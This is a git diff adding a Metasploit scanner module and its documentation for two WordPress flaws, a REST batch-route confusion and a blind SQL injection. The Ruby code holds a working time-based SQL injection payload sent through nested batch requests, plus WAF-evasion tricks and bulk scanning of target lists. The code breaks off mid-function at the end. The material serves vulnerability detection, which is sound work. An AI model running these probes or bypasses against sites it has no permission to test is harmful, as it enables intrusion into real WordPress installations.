diff --git a/documentation/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.md new file mode 100644 index 0000000000000..965a0bc4fd389 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.md @@ -0,0 +1,121 @@ +## Vulnerable Application + +WordPress versions 6.8.0 through 6.8.5, 6.9.0 through 6.9.4, and 7.0.0 through 7.0.1 +are vulnerable to: + +- **CVE-2026-63030**: REST API Batch Route Confusion — nested batch requests bypass + authentication context via invalid primer path. +- **CVE-2026-60137**: Blind SQL Injection via the `author__not_in` / `author_exclude` + parameter. + +This scanner performs non-destructive detection: + +1. Fingerprints WordPress version from generator meta tag, RSS feed, or REST API +2. Checks if the version falls in the affected range +3. Tests whether the batch route (`/batch/v1`) is accessible +4. Optionally confirms blind SQLi with a time-based differential probe + +Fixed in WordPress 6.8.6, 6.9.5, and 7.0.2. + +### Setup + +``` +git clone https://github.com/M4xSec/wp2shell-lab.git +cd wp2shell-lab/lab +docker compose up -d --build +``` + +WordPress 6.9.0 on `http://localhost:8888`. + +## Verification Steps + +1. Start msfconsole +2. `use auxiliary/scanner/http/wp_wordpress_batch_sqli` +3. `set RHOSTS ` +4. `set RPORT ` +5. `set SSL false` (for local lab) +6. `set VHOST ` +7. `set CONFIRM_SQLI true` (optional, slower but definitive) +8. `run` + +## Options + +### TARGETURI +WordPress base path. Default: `/` + +### TARGET_FILE +Path to a file containing one domain or IP per line. When set, the module +iterates each line, resolves DNS, sets VHOST automatically, and scans. Lines +starting with `#` are skipped. Useful for bulk scanning shared hosting or +Cloudflare-fronted sites. + +### CONFIRM_SQLI +When true, sends a `SLEEP()` timing probe through the batch route confusion +chain to definitively confirm the blind SQLi. When false, only checks version +and batch route accessibility. Default: `false` + +### SLEEP_TIME +Seconds for the `SLEEP()` call in the SQLi confirmation probe. Default: `3.0` + +### WAF_BYPASS +Enable WAF bypass techniques: colon primer path, `/wp-json/` permalink routing, +JSON unicode escaping of SQL keywords, and Origin/Referer headers. Required for +targets behind Cloudflare or similar WAFs that inspect JSON request bodies. +Default: `false` + +## Scenarios + +### Single target scan (version + batch route only) + +``` +msf6 > use auxiliary/scanner/http/wp_wordpress_batch_sqli +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set RHOSTS 127.0.0.1 +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set RPORT 8888 +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set SSL false +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set VHOST localhost +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > run + +[+] localhost — WP 6.9.0 — VULNERABLE (RCE, CVE-2026-63030) — batch route open +[*] Auxiliary module execution completed +``` + +### Single target with SQLi confirmation + +``` +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set CONFIRM_SQLI true +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > run + +[*] localhost — SQLi probe: fast=0.045s slow=3.038s delta=2.993s +[+] localhost — WP 6.9.0 — VULNERABLE (RCE, CVE-2026-63030) — SQLi CONFIRMED +[*] Auxiliary module execution completed +``` + +### Bulk scan from file + +``` +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set TARGET_FILE /tmp/wp-targets.txt +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set CONFIRM_SQLI false +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > run + +[*] Scanning 3 target(s) from /tmp/wp-targets.txt... + +[+] example.com — WP 6.9.2 — VULNERABLE (RCE, CVE-2026-63030) — batch route open +[*] blog.example.org — WordPress 7.0.2 — not affected +[!] store.example.net — WP 6.9.0 — affected (RCE) but batch route returned 403 +[*] Scan complete: 3 target(s) +``` + +### WAF bypass scan (Cloudflare/ModSecurity) + +``` +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set RHOSTS 127.0.0.1 +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set RPORT 9999 +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set VHOST localhost +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set WAF_BYPASS true +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set CONFIRM_SQLI true +msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > run + +[*] localhost — SQLi probe: fast=0.052s slow=3.047s delta=2.995s +[+] localhost — WP 6.9.0 — VULNERABLE (RCE, CVE-2026-63030) — SQLi CONFIRMED +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb b/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb new file mode 100644 index 0000000000000..cec1caf88eb01 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb @@ -0,0 +1,297 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress wp2shell Exposure Scanner (CVE-2026-63030 + CVE-2026-60137)', + 'Description' => %q{ + Non-destructive scanner for the WordPress REST API Batch Route Confusion + (CVE-2026-63030) and Blind SQLi (CVE-2026-60137) vulnerabilities. + + Supports two scan modes: + 1. Single target: set RHOSTS + VHOST as usual + 2. File scan: set TARGET_FILE to a file with one domain/IP per line + + When TARGET_FILE is set, each line is treated as a domain — the module + resolves it, sets VHOST automatically, and scans. This handles Cloudflare + and shared hosting correctly. + }, + 'Author' => [ + 'Venexy (Kamaldeep Rajal) ', + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-63030'], + ['CVE', '2026-60137'], + ['URL', 'https://blog.zsec.uk/wp2shell-code-trace-deep-dive/'], + ['URL', 'https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/'], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [], + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'WordPress base path', '/']), + OptPath.new('TARGET_FILE', [false, 'File with one domain/IP per line to scan']), + OptBool.new('CONFIRM_SQLI', [true, 'Confirm blind SQLi with timing probe (slower but definitive)', false]), + OptFloat.new('SLEEP_TIME', [true, 'SLEEP seconds for SQLi confirmation', 3.0]), + OptBool.new('WAF_BYPASS', [true, 'Use WAF bypass (colon primer, unicode escape, /wp-json/ path)', false]), + Opt::RHOST(nil, false), + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL/TLS', true]), + ]) + end + + def base_uri + normalize_uri(target_uri.path) + end + + def run + if datastore['TARGET_FILE'] + run_file_scan + elsif datastore['RHOSTS'].to_s.strip.empty? + print_error("Set RHOSTS for single target or TARGET_FILE for batch scan") + return + else + scan_current_target + end + end + + def run_file_scan + targets = [] + File.readlines(datastore['TARGET_FILE']).each do |line| + line = line.strip + next if line.empty? || line.start_with?('#') + targets << line + end + + if targets.empty? + print_error("No targets in #{datastore['TARGET_FILE']}") + return + end + + print_status("Scanning #{targets.length} target(s) from #{datastore['TARGET_FILE']}...") + print_status("") + + targets.each_with_index do |target, idx| + begin + scan_domain(target) + rescue => e + print_error("#{target} — error: #{e.message}") + end + print_status("Scanned #{idx + 1} of #{targets.length}") if (idx + 1) % 10 == 0 + end + + print_status("") + print_status("Scan complete: #{targets.length} target(s)") + end + + def scan_domain(domain) + domain = domain.sub(%r{^https?://}, '').split('/').first + + begin + ip = Rex::Socket.resolv_nbo(domain) + ip = Rex::Socket.addr_ntoa(ip) + rescue + print_error("#{domain} — DNS resolution failed") + return + end + + saved_rhost = datastore['RHOSTS'] + saved_vhost = datastore['VHOST'] + + datastore['RHOSTS'] = ip + datastore['VHOST'] = domain + + begin + scan_current_target(domain) + ensure + datastore['RHOSTS'] = saved_rhost + datastore['VHOST'] = saved_vhost + end + end + + def scan_current_target(label = nil) + vhost = datastore['VHOST'].to_s + label ||= vhost.empty? ? datastore['RHOSTS'] : vhost + + begin + res = send_request_cgi('method' => 'GET', 'uri' => base_uri) + rescue => e + print_error("#{label} — unreachable (#{e.message})") + return + end + + unless res + print_error("#{label} — unreachable") + return + end + + m = res.body.match(/name="generator" content="WordPress ([^"]+)"/) + + if !m && [301, 302].include?(res.code) && res.headers['Location'] + loc = res.headers['Location'] + uri = loc.start_with?('/') ? loc : URI(loc).path rescue '/' + res2 = send_request_cgi('method' => 'GET', 'uri' => uri) rescue nil + m = res2.body.match(/name="generator" content="WordPress ([^"]+)"/) if res2 + end + + unless m + [normalize_uri(base_uri, 'feed'), normalize_uri(base_uri, 'wp-json')].each do |path| + res3 = send_request_cgi('method' => 'GET', 'uri' => path) rescue nil + next unless res3 + m = res3.body.match(/generator>https?:\/\/wordpress\.org\/\?v=([^<]+) 'POST', + 'uri' => batch, + 'data' => '{"requests":[]}', + 'ctype' => 'application/json' + ) + + batch_ok = res && [200, 207].include?(res.code) + + unless batch_ok + print_warning("#{label} — WP #{ver} — affected (#{severity}) but batch route returned #{res&.code || 'nil'}") + return + end + + if datastore['CONFIRM_SQLI'] + confirmed = confirm_sqli(label) + if confirmed + print_good("#{label} — WP #{ver} — VULNERABLE (#{severity}, #{cve}) — SQLi CONFIRMED") + else + print_warning("#{label} — WP #{ver} — affected + batch open but SQLi timing not confirmed") + end + else + print_good("#{label} — WP #{ver} — VULNERABLE (#{severity}, #{cve}) — batch route open") + end + end + + private + + def confirm_sqli(label) + delay = datastore['SLEEP_TIME'] + primer = datastore['WAF_BYPASS'] ? ':' : 'http://:' + + fast_time = probe_sleep(0, primer) + slow_time = probe_sleep(delay, primer) + delta = slow_time - fast_time + + print_status(" #{label} — SQLi probe: fast=%.3fs slow=%.3fs delta=%.3fs" % [fast_time, slow_time, delta]) + delta >= (delay * 0.6) + end + + def probe_sleep(seconds, primer) + inject = "0) OR (SELECT 1 FROM (SELECT SLEEP(#{seconds}))x)-- -" + + if datastore['WAF_BYPASS'] + query_path = "/wp/v2/categories?author_exclude=#{inject}" + else + query_path = "/wp/v2/categories?author_exclude=#{Rex::Text.uri_encode(inject)}" + end + + payload = { + 'requests' => [ + { 'method' => 'POST', 'path' => primer }, + { 'method' => 'POST', 'path' => '/wp/v2/posts', 'body' => { + 'requests' => [ + { 'method' => 'GET', 'path' => primer }, + { 'method' => 'GET', 'path' => query_path }, + { 'method' => 'GET', 'path' => '/wp/v2/posts' }, + ] + }}, + { 'method' => 'POST', 'path' => '/batch/v1' }, + ] + } + + json_body = payload.to_json + json_body = unicode_escape_keywords(json_body) if datastore['WAF_BYPASS'] + + batch_uri = if datastore['WAF_BYPASS'] + normalize_uri(base_uri, 'wp-json', 'batch', 'v1') + else + "#{base_uri}?rest_route=/batch/v1" + end + + headers = {} + if datastore['WAF_BYPASS'] + proto = datastore['SSL'] ? 'https' : 'http' + host = datastore['VHOST'].to_s.empty? ? datastore['RHOSTS'] : datastore['VHOST'] + headers['Origin'] = "#{proto}://#{host}" + headers['Referer'] = "#{proto}://#{host}/wp-admin/" + end + + t0 = Time.now.to_f + send_request_cgi({ + 'method' => 'POST', + 'uri' => batch_uri, + 'data' => json_body, + 'ctype' => 'application/json', + 'headers' => headers, + }, datastore['SLEEP_TIME'].to_i + 15) + Time.now.to_f - t0 + end + + def unicode_escape_keywords(json_str) + keywords = %w[ + author_exclude author__not_in + SLEEP SELECT BENCHMARK IF UNION FROM WHERE SUBSTRING ASCII + CHAR_LENGTH CONCAT COALESCE CASE WHEN THEN ELSE ORDER LIMIT + CONCAT_WS OR AND NOT + ] + keywords.sort_by { |k| -k.length }.each do |kw| + json_str = json_str.gsub(/(?